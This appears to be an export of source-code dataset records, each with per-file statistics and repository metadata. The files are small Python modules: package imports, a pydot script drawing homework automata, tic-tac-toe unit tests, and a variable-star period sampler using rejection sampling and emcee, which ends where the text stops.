0.001757

0.201964

713

34

60

20.970588

0.871705

0.019635

0

0.312769

0.060258

0

1

0

false

0

0.1

0

0.1

0

1

null

0

1

0

1

0

null

0

7

0b4f9f337ebb9cb1886d9afc940e8ac31c1bc29d

93

py

Python

baselines/efk/__init__.py

ChTauchmann/ct_rome

1766eaee91a7eee1153c0cb004a8a5bcc04da550

[ "MIT" ]

38

2022-02-11T01:49:00.000Z

2022-03-27T21:52:33.000Z

baselines/efk/__init__.py

ChTauchmann/ct_rome

1766eaee91a7eee1153c0cb004a8a5bcc04da550

[ "MIT" ]

3

2022-02-17T07:11:09.000Z

2022-03-28T19:39:04.000Z

baselines/efk/__init__.py

ChTauchmann/ct_rome

1766eaee91a7eee1153c0cb004a8a5bcc04da550

[ "MIT" ]

10

2022-02-11T09:30:09.000Z

2022-03-24T15:23:56.000Z

from ..mend.efk_main import EfkRewriteExecutor from ..mend.efk_hparams import EFKHyperParams

31

46

0.849462

12

93

6.416667

0.666667

0.207792

0.285714

0

0.086022

93

2

47

46.5

0.905882

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

0b5b52bda2a2c0429c237cc84137608add8d58d4

277

py

Python

pyfilter/src/transport/__init__.py

zkscpqm/pyfilter

39c284681ec6f377059907b75346028d99cbdd4c

[ "MIT" ]

null

pyfilter/src/transport/__init__.py

zkscpqm/pyfilter

39c284681ec6f377059907b75346028d99cbdd4c

[ "MIT" ]

1

2021-04-28T18:40:13.000Z

pyfilter/src/transport/__init__.py

zkscpqm/pyfilter

39c284681ec6f377059907b75346028d99cbdd4c

[ "MIT" ]

null

from pyfilter.src.transport.text_filter_client import TextFilterClient from pyfilter.src.transport.text_filter_service import TextFilterService from pyfilter.src.transport.server_api import start_server_with_service from pyfilter.src.transport.client_api import get_new_client

55.4

72

0.898917

39

277

6.102564

0.435897

0.201681

0.252101

0.403361

0.285714

0

0.057762

277

4

73

69.25

0.911877

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

0baba9644181264a1f4442cfd45a5044768d6090

5,400

py

Python

test_pydot.py

iraquitan/formal-languages-ufpa

669a238e0116f2b428efe587ee772a26658b0b28

[ "MIT" ]

null

test_pydot.py

iraquitan/formal-languages-ufpa

669a238e0116f2b428efe587ee772a26658b0b28

[ "MIT" ]

null

test_pydot.py

iraquitan/formal-languages-ufpa

669a238e0116f2b428efe587ee772a26658b0b28

[ "MIT" ]

null

# -*- coding: utf-8 -*- import pydot_ng as pydot ############################################################################### # hm2-1a dot_object = pydot.Dot(graph_name="hm2_1a", rankdir="LR", labelloc='b', labeljust='r', ranksep=1) dot_object.set_node_defaults(shape='circle', fixedsize='true', height=.85, width=.85, fontsize=24) st = pydot.Node('', shape='none') dot_object.add_node(st) q0 = pydot.Node('q0') dot_object.add_node(q0) q1 = pydot.Node('q1') dot_object.add_node(q1) q2 = pydot.Node('q2') dot_object.add_node(q2) q3 = pydot.Node('q3', shape='doublecircle') dot_object.add_node(q3) dot_object.add_edge(pydot.Edge(st, q0)) dot_object.add_edge(pydot.Edge(q0, q0, label='0')) dot_object.add_edge(pydot.Edge(q0, q1, label='1')) dot_object.add_edge(pydot.Edge(q1, q2, label='0')) dot_object.add_edge(pydot.Edge(q2, q3, label='0')) dot_object.add_edge(pydot.Edge(q3, q0, label='0')) dot_object.write_png('hm2-1a.png', prog='dot') ############################################################################### # hm2-1b dot_object = pydot.Dot(graph_name="hm2_1b", rankdir="LR", labelloc='b', labeljust='r', ranksep=1) dot_object.set_node_defaults(shape='circle', fixedsize='true', height=.85, width=.85, fontsize=24) st = pydot.Node('', shape='none') dot_object.add_node(st) q0 = pydot.Node('q0', shape='doublecircle') dot_object.add_node(q0) q1 = pydot.Node('q1', shape='doublecircle') dot_object.add_node(q1) q2 = pydot.Node('q2') dot_object.add_node(q2) dot_object.add_edge(pydot.Edge(st, q0)) dot_object.add_edge(pydot.Edge(q0, q1, label='b')) dot_object.add_edge(pydot.Edge(q1, q1, label='b')) dot_object.add_edge(pydot.Edge(q1, q2, label='a')) dot_object.add_edge(pydot.Edge(q2, q1, label='b')) dot_object.write_png('hm2-1b.png', prog='dot') ############################################################################### # hm2-1c dot_object = pydot.Dot(graph_name="hm2_1c", rankdir="LR", labelloc='b', labeljust='r', ranksep=1) dot_object.set_node_defaults(shape='circle', fixedsize='true', height=.85, width=.85, fontsize=24) st = pydot.Node('', shape='none') dot_object.add_node(st) q0 = pydot.Node('q0', shape='doublecircle') dot_object.add_node(q0) q1 = pydot.Node('q1') dot_object.add_node(q1) q2 = pydot.Node('q2') dot_object.add_node(q2) dot_object.add_edge(pydot.Edge(st, q0)) dot_object.add_edge(pydot.Edge(q0, q0, label='b')) dot_object.add_edge(pydot.Edge(q0, q1, label='a')) dot_object.add_edge(pydot.Edge(q1, q1, label='b')) dot_object.add_edge(pydot.Edge(q1, q2, label='a')) dot_object.add_edge(pydot.Edge(q2, q0, label='b')) dot_object.write_png('hm2-1c.png', prog='dot') ############################################################################### # hm2-2a dot_object = pydot.Dot(graph_name="hm2_2a", rankdir="LR", labelloc='b', labeljust='r', ranksep=1) dot_object.set_node_defaults(shape='circle', fixedsize='true', height=.85, width=.85, fontsize=24) st = pydot.Node('', shape='none') dot_object.add_node(st) q0 = pydot.Node('q0') dot_object.add_node(q0) q1 = pydot.Node('q1', shape='doublecircle') dot_object.add_node(q1) dot_object.add_edge(pydot.Edge(st, q0)) dot_object.add_edge(pydot.Edge(q0, q1, label='1')) dot_object.add_edge(pydot.Edge(q1, q1, label='1, d, _')) dot_object.write_png('hm2-2a.png', prog='dot') ############################################################################### # hm2-2b dot_object = pydot.Dot(graph_name="hm2_2b", rankdir="LR", labelloc='b', labeljust='r', ranksep=1) dot_object.set_node_defaults(shape='circle', fixedsize='true', height=.85, width=.85, fontsize=24) st = pydot.Node('', shape='none') dot_object.add_node(st) q0 = pydot.Node('q0') dot_object.add_node(q0) q1 = pydot.Node('q1') dot_object.add_node(q1) q2 = pydot.Node('q2', shape='doublecircle') dot_object.add_node(q2) dot_object.add_edge(pydot.Edge(st, q0)) dot_object.add_edge(pydot.Edge(q0, q1, label='-')) dot_object.add_edge(pydot.Edge(q0, q2, label='d')) dot_object.add_edge(pydot.Edge(q1, q2, label='d')) dot_object.add_edge(pydot.Edge(q2, q2, label='d')) dot_object.write_png('hm2-2b.png', prog='dot') ############################################################################### # hm2-2c dot_object = pydot.Dot(graph_name="hm2_2c", rankdir="LR", labelloc='b', labeljust='r', ranksep=1) dot_object.set_node_defaults(shape='circle', fixedsize='true', height=.85, width=.85, fontsize=24) st = pydot.Node('', shape='none') dot_object.add_node(st) q0 = pydot.Node('q0') dot_object.add_node(q0) q1 = pydot.Node('q1') dot_object.add_node(q1) q2 = pydot.Node('q2', shape='doublecircle') dot_object.add_node(q2) q3 = pydot.Node('q3') dot_object.add_node(q3) q4 = pydot.Node('q4', shape='doublecircle') dot_object.add_node(q4) dot_object.add_edge(pydot.Edge(st, q0)) dot_object.add_edge(pydot.Edge(q0, q1, label='-')) dot_object.add_edge(pydot.Edge(q0, q2, label='d')) dot_object.add_edge(pydot.Edge(q1, q2, label='d')) dot_object.add_edge(pydot.Edge(q2, q3, label='.')) dot_object.add_edge(pydot.Edge(q3, q4, label='d')) dot_object.add_edge(pydot.Edge(q4, q4, label='d')) dot_object.write_png('hm2-2c.png', prog='dot')

35.064935

79

0.615556

822

5,400

3.841849

0.06691

0.216593

0.220393

0.162128

0.948702

0.930336

0.902787

0.805573

0.786257

0.749842

0

0.04302

0.121852

5,400

154

80

35.064935

0.622944

0.011667

0

0.730435

0

0.080313

0

1

0

false

0

0.008696

0

0.008696

0

null

1

0

1

0

null

0

10

0bad4900db7c0234a7c24db1869a4b4c094f7ea9

167

py

Python

website/addons/base/testing/__init__.py

DanielSBrown/osf.io

98dda2ac237377197acacce78274bc0a4ce8f303

[ "Apache-2.0" ]

null

website/addons/base/testing/__init__.py

DanielSBrown/osf.io

98dda2ac237377197acacce78274bc0a4ce8f303

[ "Apache-2.0" ]

13

2020-03-24T15:29:41.000Z

2022-03-11T23:15:28.000Z

website/addons/base/testing/__init__.py

DanielSBrown/osf.io

98dda2ac237377197acacce78274bc0a4ce8f303

[ "Apache-2.0" ]

null

from website.addons.base.testing import views, models, serializers # noqa from website.addons.base.testing.base import AddonTestCase, OAuthAddonTestCaseMixin # noqa

55.666667

91

0.826347

20

167

6.9

0.6

0.15942

0.246377

0.304348

0.405797

0

0.101796

167

2

92

83.5

0.92

0.053892

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

e7ee27bd89a5b5e247da5a93356ec4bcf7132e85

3,023

py

Python

test_pytest.py

meejah/tictactoe

931dcf147d2d01235654a8fba0ec3c4a1d0d3eb3

[ "MIT" ]

1

2017-12-19T04:16:13.000Z

test_pytest.py

meejah/tictactoe

931dcf147d2d01235654a8fba0ec3c4a1d0d3eb3

[ "MIT" ]

null

test_pytest.py

meejah/tictactoe

931dcf147d2d01235654a8fba0ec3c4a1d0d3eb3

[ "MIT" ]

9

2016-10-26T00:13:19.000Z

2016-11-23T01:26:19.000Z

import unittest import ttt class TestTTT(unittest.TestCase): def test_invalid_wrong_size(self): board = [ 'x', '.', 'o', ] self.assertEqual(ttt.GameStates.invalid, ttt.game_state(board)) def test_invalid_illegal_char(self): board = [ 'x', '.', 'o', 'x', '.', 'o', 'x', '.', 'O', ] self.assertEqual(ttt.GameStates.invalid, ttt.game_state(board)) def test_invalid_too_many_o_moves(self): board = [ 'x', '.', 'o', 'x', '.', 'o', 'x', 'o', 'o', ] self.assertEqual(ttt.GameStates.invalid, ttt.game_state(board)) def test_x_win_0(self): board = [ 'x', 'x', 'x', 'o', '.', 'o', '.', '.', '.', ] self.assertEqual(ttt.GameStates.x_wins, ttt.game_state(board)) def test_x_win_1(self): board = [ 'o', '.', 'o', 'x', 'x', 'x', '.', '.', '.', ] self.assertEqual(ttt.GameStates.x_wins, ttt.game_state(board)) def test_x_win_2(self): board = [ 'o', '.', 'o', '.', '.', '.', 'x', 'x', 'x', ] self.assertEqual(ttt.GameStates.x_wins, ttt.game_state(board)) def test_x_win_vert(self): board = [ 'x', '.', 'o', 'x', '.', '.', 'x', '.', 'o', ] self.assertEqual(ttt.GameStates.x_wins, ttt.game_state(board)) def test_o_win_vert(self): board = [ 'x', 'x', 'o', '.', '.', 'o', 'x', '.', 'o', ] self.assertEqual(ttt.GameStates.o_wins, ttt.game_state(board)) def test_x_win_vert_middle(self): board = [ 'o', 'x', '.', 'o', 'x', '.', '.', 'x', '.', ] self.assertEqual(ttt.GameStates.x_wins, ttt.game_state(board)) def test_x_win_diag_0(self): board = [ 'x', '.', 'o', '.', 'x', 'o', '.', '.', 'x', ] self.assertEqual(ttt.GameStates.x_wins, ttt.game_state(board)) def test_x_win_diag_1(self): board = [ 'x', '.', 'x', 'o', 'x', 'o', 'x', 'o', '.', ] self.assertEqual(ttt.GameStates.x_wins, ttt.game_state(board)) def test_invalid_two_winners(self): board = [ 'o', 'x', '.', 'o', 'x', '.', 'o', 'x', '.', ] self.assertEqual(ttt.GameStates.invalid, ttt.game_state(board)) def test_incomplete_0(self): board = [ 'x', 'x', 'o', 'o', 'x', 'o', 'x', 'o', '.', ] self.assertEqual(ttt.GameStates.unfinished, ttt.game_state(board)) def test_draw(self): board = [ 'x', 'x', 'o', 'o', 'x', 'x', 'x', 'o', 'o', ] self.assertEqual(ttt.GameStates.draw, ttt.game_state(board))

25.837607

74

0.424413

323

3,023

3.767802

0.114551

0.041085

0.207067

0.322104

0.857025

0.824158

0.78636

0.739523

0.69433

0.629417

0

0.003165

0.372808

3,023

116

75

26.060345

0.638713

0

0.575758

0

0.039696

0

0.141414

1

0.141414

false

0

0.020202

0

0.171717

0

null

0

1

0

1

0

null

0

7

f052f88a28bb5901de1423f62fd689b1e681eafc

49,628

py

Python

leavitt/sampler.py

KyleLMatt/leavitt

98b035b8e3b37623593e38cb82db6e945c272617

[ "MIT" ]

null

leavitt/sampler.py

KyleLMatt/leavitt

98b035b8e3b37623593e38cb82db6e945c272617

[ "MIT" ]

null

leavitt/sampler.py

KyleLMatt/leavitt

98b035b8e3b37623593e38cb82db6e945c272617

[ "MIT" ]

null

#!/usr/bin/env python """SAMPLER.PY - Variable star sampler """ from __future__ import print_function __authors__ = 'David Nidever <dnidever@montana.edu>' __version__ = '20220320' # yyyymmdd import time import numpy as np from dlnpyutils import utils as dln from astropy.table import Table import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt from scipy import stats import emcee import corner def solveone(data,template,ampratios,bandindex,period,offset,totwtdict,totwtydict): ndata = len(data) # Calculate phase for each data point phase = (data['jd']/period + offset) % 1 # Calculate template values for this set of period and phase tmpl = np.interp(phase,template['phase'],template['mag']) # -- Find best fitting values for linear parameters --- # Calculate amplitude # term1 = Sum of XY # term2 = Sum of X * Y / W # term3 = Sum of X^2 # term4 = Sum of X * X / W # amplitude = (term1 - term2)/(term3 - term4) term1 = 0.0 term2 = 0.0 term3 = 0.0 term4 = 0.0 totwtxdict = {} for b in bandindex.keys(): ind = bandindex[b] totwtx1 = np.sum(data['wt'][ind] * tmpl[ind]*ampratios[b]) totwtxdict[b] = totwtx1 totwtx2 = np.sum(data['wt'][ind] * (tmpl[ind]*ampratios[b])**2) totwtxy = np.sum(data['wt'][ind] * tmpl[ind]*ampratios[b] * data['mag'][ind]) term1 += totwtxy term2 += totwtx1 * totwtydict[b] / totwtdict[b] term3 += totwtx2 term4 += totwtx1**2 / totwtdict[b] amplitude = (term1-term2)/(term3-term4) # Calculate best mean magnitudes # mean mag = (Y - amplitude * X)/W meanmag = {} for b in bandindex.keys(): meanmag1 = (totwtydict[b] - amplitude * totwtxdict[b])/totwtdict[b] meanmag[b] = meanmag1 # Calculate likelihood/chisq model = np.zeros(ndata,float) resid = np.zeros(ndata,float) wtresid = np.zeros(ndata,float) for b in bandindex.keys(): ind = bandindex[b] model1 = tmpl[ind]*ampratios[b]*amplitude+meanmag[b] model[ind] = model1 resid[ind] = data['mag'][ind]-model1 wtresid[ind] = resid[ind]**2 * data['wt'][ind] lnlkhood = -0.5*np.sum(wtresid + np.log(2*np.pi*data['err']**2)) return amplitude,meanmag,model,lnlkhood def log_likelihood_variable(theta,x,y,err,data=None,template=None,ampratios=None,bandindex=None,totwtdict=None,totwtydict=None,**kwargs): try: dum = data['wt'] except: data = Table(data) data['wt'] = 1/data['err']**2 if bandindex is None: # Get band index uband = np.unique(data['band']) nband = len(uband) bandindex = {} for i,b in enumerate(uband): ind, = np.where(data['band']==b) bandindex[b] = ind if totwtdict is None or totwtydict is None: # Pre-calculate some terms that are constant totwtdict = {} totwtydict = {} for b in uband: ind = bandindex[b] totwtdict[b] = np.sum(data['wt'][ind]) totwtydict[b] = np.sum(data['wt'][ind] * data['mag'][ind]) period, offset = theta ndata = len(data) # Calculate phase for each data point if period.size > 1: # Get phase and template points phase = (data['jd'].reshape(-1,1)/period.reshape(1,-1) + offset.reshape(1,-1)) % 1 tmpl = np.interp(phase.ravel(),template['phase'],template['mag']) tmpl = tmpl.reshape(ndata,period.size) else: phase = (data['jd']/period + offset) % 1 # Calculate template values for this set of period and phase tmpl = np.interp(phase,template['phase'],template['mag']) # -- Find best fitting values for linear parameters --- # Calculate amplitude # term1 = Sum of XY # term2 = Sum of X * Y / W # term3 = Sum of X^2 # term4 = Sum of X * X / W # amplitude = (term1 - term2)/(term3 - term4) term1 = 0.0 term2 = 0.0 term3 = 0.0 term4 = 0.0 totwtxdict = {} for b in bandindex.keys(): ind = bandindex[b] if period.size > 1: totwtx1 = np.sum(data['wt'][ind].reshape(-1,1) * tmpl[ind,:]*ampratios[b],axis=0) totwtx2 = np.sum(data['wt'][ind].reshape(-1,1) * (tmpl[ind,:]*ampratios[b])**2,axis=0) totwtxy = np.sum(data['wt'][ind].reshape(-1,1) * tmpl[ind,:]*ampratios[b] * data['mag'][ind].reshape(-1,1),axis=0) else: totwtx1 = np.sum(data['wt'][ind] * tmpl[ind]*ampratios[b]) totwtx2 = np.sum(data['wt'][ind] * (tmpl[ind]*ampratios[b])**2) totwtxy = np.sum(data['wt'][ind] * tmpl[ind]*ampratios[b] * data['mag'][ind]) totwtxdict[b] = totwtx1 term1 += totwtxy term2 += totwtx1 * totwtydict[b] / totwtdict[b] term3 += totwtx2 term4 += totwtx1**2 / totwtdict[b] amplitude = (term1-term2)/(term3-term4) # Calculate best mean magnitudes # mean mag = (Y - amplitude * X)/W meanmag = {} for b in bandindex.keys(): meanmag1 = (totwtydict[b] - amplitude * totwtxdict[b])/totwtdict[b] meanmag[b] = meanmag1 # Calculate likelihood/chisq if period.size > 1: model = np.zeros((ndata,period.size),float) resid = np.zeros((ndata,period.size),float) wtresid = np.zeros((ndata,period.size),float) for b in uband: ind = bandindex[b] model1 = tmpl[ind,:]*ampratios[b]*amplitude+meanmag[b] model[ind,:] = model1 resid[ind,:] = data['mag'][ind].reshape(-1,1)-model1 wtresid[ind,:] = resid[ind,:]**2 * data['wt'][ind].reshape(-1,1) lnlikelihood = -0.5*np.sum(wtresid,axis=0) lnlikelihood += -0.5*np.sum(np.log(2*np.pi*data['err']**2)) else: model = np.zeros(ndata,float) resid = np.zeros(ndata,float) wtresid = np.zeros(ndata,float) for b in bandindex.keys(): ind = bandindex[b] model1 = tmpl[ind]*ampratios[b]*amplitude+meanmag[b] model[ind] = model1 resid[ind] = data['mag'][ind]-model1 wtresid[ind] = resid[ind]**2 * data['wt'][ind] lnlikelihood = -0.5*np.sum(wtresid + np.log(2*np.pi*data['err']**2)) return lnlikelihood def model_variable(phase,**kwargs): """ Generate variable star template model using phase.""" template = kwargs['template'] tmpl = np.interp(phase.ravel(),template['phase'],template['mag']) if phase.ndim > 1: tmpl = tmpl.reshape(phase.shape) return tmpl #def log_likelihood(theta, x, y, yerr): # m, b, log_f = theta # model = m * x + b # sigma2 = yerr ** 2 + model ** 2 * np.exp(2 * log_f) # return -0.5 * np.sum((y - model) ** 2 / sigma2 + np.log(sigma2)) def log_prior_variable(theta,prange=None): period = theta[0] pmin = np.min(period) pmax = np.max(period) lnprior = np.log(1/(1.0*(np.log10(pmax)-np.log10(pmin)))) return lnprior def log_probability_variable(theta, x, y, yerr, *args, **kwargs): lp = log_prior_variable(theta) #if not np.isfinite(lp): # return -np.inf return lp + log_likelihood_variable(theta, x, y, yerr, *args, **kwargs) class VariableSampler: """ Class for doing sampling of variable star lightcurve ddata. Parameters ---------- catalog : table Catalog of data points, just have mag, err, jd, band template : table Template information. ampratios : dict, optional Amplitude ratios. Keys should be the unique band names and values should be the amplitue ratios. If this is not input, then a ratio of 1.0 is used. minerror : float, optional Minimum error to use. Default is 0.02. """ def __init__(self,catalog,template,ampratios=None,minerror=0.02): # Create the sampling for Period (pmin to pmax) and phase offset (0-1) self._catalog = catalog self._template = template # Internal catalog data = Table(catalog).copy() data['wt'] = 1/np.maximum(data['err'],minerror)**2 # Only keep bands with 2+ observations uband = np.unique(data['band']) badind = np.array([],int) for i,b in enumerate(uband): ind, = np.where(data['band']==b) if len(ind)<2: print('band '+str(b)+' only has '+str(len(ind))+' observations. Not using') badind = np.hstack((badind,ind)) if len(badind)>0: data.remove_rows(badind) ndata = len(data) self._data = data self._ndata = ndata print(str(ndata)+' data points') print('time baselines = %.2f' % (np.max(data['jd'])-np.min(data['jd']))) # Get band index uband = np.unique(data['band']) nband = len(uband) bandindex = {} for i,b in enumerate(uband): ind, = np.where(data['band']==b) bandindex[b] = ind self._uband = uband self._nband = nband self._bandindex = bandindex print(str(len(uband))+' bands = ',', '.join(np.char.array(uband).astype(str))) # No amplitude ratios input if ampratios is None: ampratios = {} for b in uband: ampratios[b] = 1.0 self._ampratios = ampratios # Pre-calculate some terms that are constant totwtdict = {} totwtydict = {} for b in uband: ind = bandindex[b] totwtdict[b] = np.sum(data['wt'][ind]) totwtydict[b] = np.sum(data['wt'][ind] * data['mag'][ind]) self._totwtdict = totwtdict self._totwtydict = totwtydict def run(self,pmin=0.1,pmax=None,minsample=128,npoints=200000): """ Run the sampler. Parameters ---------- pmin : float, optional Minimum period to search in days. Default is 0.1 days. pmax : float, optional Maximum period to search in days. Default is 2 x time baseline. minsample : int, optional Mininum number of samples to return. Default is 128. npoints : int, optional Number of points to use per loop. Default is 200,000. """ data = self._data ndata = self._ndata template = self._template uband = self._uband nband = self._nband bandindex = self._bandindex ampratios = self._ampratios totwtdict = self._totwtdict totwtydict = self._totwtydict self._bestperiod = None self._bestoffset = None self._bestamplitude = None self._bestmeanmag = None self._bestlnprob = None self._samples = None self._trials = None # Period range if pmax is None: pmax = (np.max(data['jd'])-np.min(data['jd']))*2 lgminp = np.log10(pmin) lgmaxp = np.log10(pmax) print('Pmin = %.3f' % pmin) print('Pmax = %.3f' % pmax) self._pmin = pmin self._pmax = pmax # Loop until we have enough samples nsamples = 0 samplelist = [] count = 0 dtt = [('period',float),('offset',float),('amplitude',float),('lnlikelihood',float),('lnprob',float)] for b in uband: dtt += [('mag'+str(b),float)] trials = None while (nsamples<minsample): # Uniformly sample from log(pmin) to log(pmax) period = np.random.rand(npoints)*(lgmaxp-lgminp)+lgminp period = 10**period # Uniformly sample from 0 to 1 offset = np.random.rand(npoints) # Get phase and template points phase = (data['jd'].reshape(-1,1)/period.reshape(1,-1) + offset.reshape(1,-1)) % 1 tmpl = np.interp(phase.ravel(),template['phase'],template['mag']) tmpl = tmpl.reshape(ndata,npoints) # -- Find best fitting values for linear parameters --- # Calculate amplitude # term1 = Sum of XY # term2 = Sum of X * Y / W # term3 = Sum of X^2 # term4 = Sum of X * X / W # amplitude = (term1 - term2)/(term3 - term4) term1,term2,term3,term4 = 0,0,0,0 totwtxdict = {} for b in uband: ind = bandindex[b] totwtx1 = np.sum(data['wt'][ind].reshape(-1,1) * tmpl[ind,:]*ampratios[b],axis=0) totwtxdict[b] = totwtx1 totwtx2 = np.sum(data['wt'][ind].reshape(-1,1) * (tmpl[ind,:]*ampratios[b])**2,axis=0) totwtxy = np.sum(data['wt'][ind].reshape(-1,1) * tmpl[ind,:]*ampratios[b] * data['mag'][ind].reshape(-1,1),axis=0) term1 += totwtxy term2 += totwtx1 * totwtydict[b] / totwtdict[b] term3 += totwtx2 term4 += totwtx1**2 / totwtdict[b] amplitude = (term1-term2)/(term3-term4) # Calculate best mean magnitudes # mean mag = (Y - amplitude * X)/W meanmag = {} for b in uband: meanmag1 = (totwtydict[b] - amplitude * totwtxdict[b])/totwtdict[b] meanmag[b] = meanmag1 # Calculate likelihood/chisq model = np.zeros((ndata,npoints),float) resid = np.zeros((ndata,npoints),float) wtresid = np.zeros((ndata,npoints),float) for b in uband: ind = bandindex[b] model1 = tmpl[ind,:]*ampratios[b]*amplitude+meanmag[b] model[ind,:] = model1 resid[ind,:] = data['mag'][ind].reshape(-1,1)-model1 wtresid[ind,:] = resid[ind,:]**2 * data['wt'][ind].reshape(-1,1) lnlikelihood = -0.5*np.sum(wtresid,axis=0) lnlikelihood += -0.5*np.sum(np.log(2*np.pi*data['err']**2)) # Calculate ln probability = ln prior + ln likelihood # use flat prior, divide by area lnprior = np.ones(npoints,float) + np.log(1/(1.0*(lgmaxp-lgminp))) lnprob = lnprior + lnlikelihood # Save the information trials1 = np.zeros(npoints,dtype=dtt) trials1['period'] = period trials1['offset'] = offset trials1['amplitude'] = amplitude for k in meanmag.keys(): trials1['mag'+str(k)] = meanmag[k] trials1['lnlikelihood'] = lnlikelihood trials1['lnprob'] = lnprob if trials is None: trials = trials1 else: trials = np.hstack((trials,trials1)) # REJECT NEGATIVE AMPLITUDES?? # Rejection sampling draw = np.random.rand(npoints) #maxprob = np.max(np.exp(lnprob)) #ind, = np.where(draw < np.exp(lnprob)/maxprob) ind, = np.where(draw < np.exp(lnprob)) if len(ind)>0: for i in ind: samp = {'period':period[i],'offset':offset[i],'amplitude':amplitude[i]} for k in meanmag.keys(): samp[k] = meanmag[k][i] samp['lnlikelihood'] = lnlikelihood[i] samp['lnprob'] = lnprob[i] samplelist.append(samp) nsamples += len(ind) print(count+1,nsamples) count += 1 # Convert sample list to table dt = [('period',float),('offset',float),('amplitude',float)] for k in meanmag.keys(): dt += [('mag'+str(k),float)] dt += [('lnlikelihood',float),('lnprob',float)] samples = np.zeros(len(samplelist),dtype=dt) for i,samp in enumerate(samplelist): samples['period'][i] = samp['period'] samples['offset'][i] = samp['offset'] samples['amplitude'][i] = samp['amplitude'] samples['lnlikelihood'][i] = samp['lnlikelihood'] samples['lnprob'][i] = samp['lnprob'] for k in meanmag.keys(): samples['mag'+str(k)][i] = samp[k] # Convert to astropy tables samples = Table(samples) trials = Table(trials) self._samples = samples self._trials = trials best = np.argmax(trials['lnprob']) bestperiod = trials['period'][best] bestoffset = trials['offset'][best] bestlnprob = trials['lnprob'][best] bestamplitude = trials['amplitude'][best] bestmeanmag = {} for b in uband: bestmeanmag[b] = trials['mag'+str(b)][best] print('Best period = %.4f' % bestperiod) print('Best offset = %.4f' % bestoffset) print('Best amplitude = %.4f' % bestamplitude) print('Best lnprob = %.4f' % bestlnprob) self._bestperiod = bestperiod self._bestoffset = bestoffset self._bestamplitude = bestamplitude self._bestmeanmag = bestmeanmag self._bestlnprob = bestlnprob ntrials = npoints*count print('ntrials = ',ntrials) # If unimodal, run emcee medperiod = np.median(samples['period']) delta = (4*medperiod**2)/(2*np.pi*(np.max(data['jd'])-np.min(data['jd']))) deltap = medperiod**2/(2*np.pi*(np.max(data['jd'])-np.min(data['jd']))) rmsperiod = np.sqrt(np.mean((samples['period']-medperiod)**2)) unimodal = False if rmsperiod < delta: print('Unimodal PDF, running emcee') unimodal = True # Set up the MCMC sampler ndim, nwalkers = 2, 10 delta = [rmsperiod*10,0.1] initpar = [bestperiod, bestoffset] pos = [initpar + delta*np.random.randn(ndim) for i in range(nwalkers)] emsampler = emcee.EnsembleSampler(nwalkers, ndim, log_probability_variable, args=(data['jd'],data['mag'],data['err'],data, template,ampratios,bandindex,totwtdict,totwtydict), kwargs={'prange':[pmin,pmax]}) steps = 100 out = emsampler.run_mcmc(pos, steps) emsamples = emsampler.chain[:, np.int(steps/2):, :].reshape((-1, ndim)) # The maximum likelihood parameters bestind = np.unravel_index(np.argmax(emsampler.lnprobability),emsampler.lnprobability.shape) pars_ml = emsampler.chain[bestind[0],bestind[1],:] labels = ['Period','Offset'] for i in range(ndim): mcmc = np.percentile(emsamples[:, i], [16, 50, 84]) q = np.diff(mcmc) print(r'%s = %.3f -%.3f/+%.3f' % (labels[i], pars_ml[i], q[0], q[1])) #fig = corner.corner(emsamples, labels=['Period','Offset']) #plt.savefig(plotbase+'_corner.png',bbox_inches='tight') #plt.close(fig) #print('Corner plot saved to '+plotbase+'_corner.png') bestperiod = pars_ml[0] bestoffset = pars_ml[1] bestlnprob = emsampler.lnprobability[bestind[0],bestind[1]] bestamplitude,bestmeanmag,model,lnlkhood = solveone(data,template,ampratios,bandindex, bestperiod,bestoffset,totwtdict,totwtydict) print('Best period = %.4f' % bestperiod) print('Best offset = %.4f' % bestoffset) print('Best amplitude = %.4f' % bestamplitude) for b in uband: print('Best meanmag %s = %.4f' %(str(b),bestmeanmag[b])) print('Best lnprob = %.4f' % bestlnprob) self._bestperiod = bestperiod self._bestoffset = bestoffset self._bestamplitude = bestamplitude self._bestmeanmag = betmeanmag self._bestlnprob = bestlnprob self._unimodal = unimodal #import pdb; pdb.set_trace() return samples, trials def plots(self,plotbase='sampler'): """ Make the plots.""" data = self._data ndata = self._ndata template = self._template uband = self._uband nband = self._nband bandindex = self._bandindex ampratios = self._ampratios bestperiod = self._bestperiod bestoffset = self._bestoffset bestamplitude = self._bestamplitude bestmeanmag = self._bestmeanmag bestlnprob = self._bestlnprob samples = self._samples trials = self._trials # Make plots matplotlib.use('Agg') fig,ax = plt.subplots(2,1) fig.set_figheight(10) fig.set_figwidth(10) # 2D density map im,b,c,d = stats.binned_statistic_2d(trials['offset'],np.log10(trials['period']),trials['lnprob'],statistic='mean',bins=(250,250)) z1 = ax[0].imshow(im,aspect='auto',origin='lower',extent=(c[0],c[-1],b[0],b[-1])) ax[0].set_xlabel('log(Period)') ax[0].set_ylabel('Offset') plt.colorbar(z1,ax=ax[0],label='Mean ln(Prob)') # Period histogram hist,a,b = stats.binned_statistic(np.log10(trials['period']),trials['lnprob'],statistic='mean',bins=1000) ax[1].plot(a[0:-1],hist) ax[1].set_xlabel('log(Period)') ax[1].set_ylabel('Mean ln(Prob)') fig.savefig(plotbase+'_trials.png',bbox_inches='tight') plt.close(fig) print('Saving to '+plotbase+'_trials.png') # Too few samples for corner plot #sampdata = np.zeros((len(samples),3),float) #sampdata[:,0] = samples['period'] #sampdata[:,1] = samples['offset'] #sampdata[:,2] = samples['amplitude'] #samplabels = ['Period','Offset','Amplitude'] #fig = corner.corner(sampdata, labels=samplabels) #plt.savefig(plotbase+'_corner.png',bbox_inches='tight') #plt.close(fig) #print('Corner plot saved to '+plotbase+'_corner.png') # Plot offset vs. period color-coded by lnprob # plot amplitude vs. period color-coded by lnprob fig,ax = plt.subplots(2,1) fig.set_figheight(10) fig.set_figwidth(10) # Plot offset vs. period color-coded by lnprob z1 = ax[0].scatter(np.log10(samples['period']),samples['offset'],c=samples['lnprob']) ax[0].set_xlabel('log(Period)') ax[0].set_ylabel('Offset') plt.colorbar(z1,ax=ax[0],label='ln(Prob)') # Plot amplitude vs. period color-coded by lnprob z2 = ax[1].scatter(np.log10(samples['period']),samples['amplitude'],c=samples['lnprob']) ax[1].set_xlabel('log(Period)') ax[1].set_ylabel('Amplitude') plt.colorbar(z2,ax=ax[1],label='ln(Prob)') 